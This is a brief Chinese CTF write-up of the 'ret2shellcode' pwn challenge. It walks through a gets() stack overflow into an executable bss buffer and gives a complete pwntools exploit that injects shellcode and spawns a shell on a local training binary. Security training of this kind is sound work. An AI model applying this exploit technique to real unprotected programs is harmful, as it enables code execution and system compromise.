ret2shellcode
1.checksec看一下

- 32位的文件
- 什么保护都没开,并且有可读,可写,可执行段
2.IDA pro看一下

- gets函数读入一个 s
- 然后把 s 复制到 buf2
- 可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。
- 那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。
3.vmmap看一下buf2的执行权限

bss段可执行,那么构造思路就是利用gets是函数将s填满,将shellcode写在s的最前面,再加上返回地址
4.exp附上
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
5.运行结果

本文探讨了一个32位程序,该程序没有开启任何保护机制,并存在栈溢出漏洞。通过IDApro分析,发现程序允许通过gets函数填充buf2,并在bss段执行。通过vmmap确认bss段可执行,因此可以构造payload,将shellcode写入内存并在buf2处执行。提供的exploit脚本展示了如何注入shellcode并控制程序流程。最终成功执行了shellcode。
522

被折叠的 条评论
为什么被折叠?



